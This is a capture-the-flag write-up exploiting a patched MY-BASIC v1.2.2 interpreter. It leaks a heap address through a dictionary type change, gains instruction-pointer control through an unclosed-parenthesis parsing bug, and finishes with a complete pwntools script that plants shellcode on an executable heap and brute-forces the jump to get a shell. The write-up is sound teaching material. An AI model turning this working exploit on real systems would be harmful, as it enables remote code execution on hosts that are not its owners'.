Description
The server we can connect to is running a modified version of MY-BASIC v1.2.2, an open source BASIC interpreter. We are given a .patch file generated with git diff
, containing the differences between the open source code and the one running on the server.
The goal is to read the file at /app/flag.txt
. The binary was compiled for 32-bit x86, with most usual protections enabled.
$ file back-to-basic
back-to-basic: ELF 32-bit LSB pie executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, with debug_info, not stripped
$ checksec --file=back-to-basic
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 2087 Symbols Partial 6 11 back-to-basic
Solution (heap shellcode)
The first vulnerability is an “intentional” heap leak. The type of dictionary was changed from _DT_DICT
to _DT_INT
, allegedly to make it easier to debug the Garbage Collector.
case MB_DT_DICT:
- itn->type = _DT_DICT;
+ itn->type = _DT_INT; /* for GC debug */
itn->data.dict = (_dict_t*)pbl->value.dict;
As a consequence, we can get a heap leak by creating a DICT
object and simply printing it.
]A = DICT()
]PRINT(A)
]RUN
1458044854 // =0x56e7ffb6
The second vulnerability is a bug in the BASIC interpreter. We can find it by digging into the GitHub repository issues: Crash on short arithmetic expression without closing parenthesis #99.
This bug surprisingly leads to RIP control with little to no effort.
]A=(A+0x42424242
]RUN
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
And finally, the patch applied to the interpreter also makes the heap executable. The reason given is to implement Just-In-Time compilation in the future :-)
+ /* preparing future works: implement JIT compiler on Lunix */
+ JIT_buffer = malloc(PAGE_SIZE);
+ mprotect((void *)(((unsigned int)JIT_buffer) & 0xFFFFF000), -1, PROT_READ|PROT_WRITE|PROT_EXEC);
To get a shell, we start by leaking a heap address by printing a DICT. Then we allocate a string on the heap containing a NOP sled and a shellcode. Finally, we try to jump on the shellcode on the heap using the arithmetic expression bug. If we are lucky, the shellcode is executed and we get a shell on the server.
from pwn import *
off = 0x600
while True:
if args.REMOTE:
r = remote('localhost', 4000)
else:
r = process("back-to-basic")
# Write shellcode on heap
r.recvuntil(b']')
r.sendline(b'PROG="' + b'\x90' * 0x50 + asm(shellcraft.sh()) + b'"')
# Leak heap address
r.recvuntil(b']')
r.sendline(b'A=DICT()')
r.recvuntil(b']')
r.sendline(b'PRINT(A)')
r.recvuntil(b']')
r.sendline(b'RUN')
heap_leak = int(r.recvline()[:-1])
print('Heap:', hex(heap_leak))
# Jump on heap
jump = heap_leak - off
r.recvuntil(b']')
r.sendline(b'A=(A+' + str(jump).encode())
r.recvuntil(b']')
r.sendline(b'RUN')
r.sendline(b'id')
try:
# Win
r.recvuntil(b'uid=1000')
r.interactive()
exit()
except Exception as e:
# Nope, try with a different heap offset
r.close()
off += 0x10
Within a few tries, we get a shell and we can read the flag.
[+] Opening connection to localhost on port 4000: Done
Heap: 0x57b69b46
[*] Switching to interactive mode
(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat flag.txt
FCSC{...}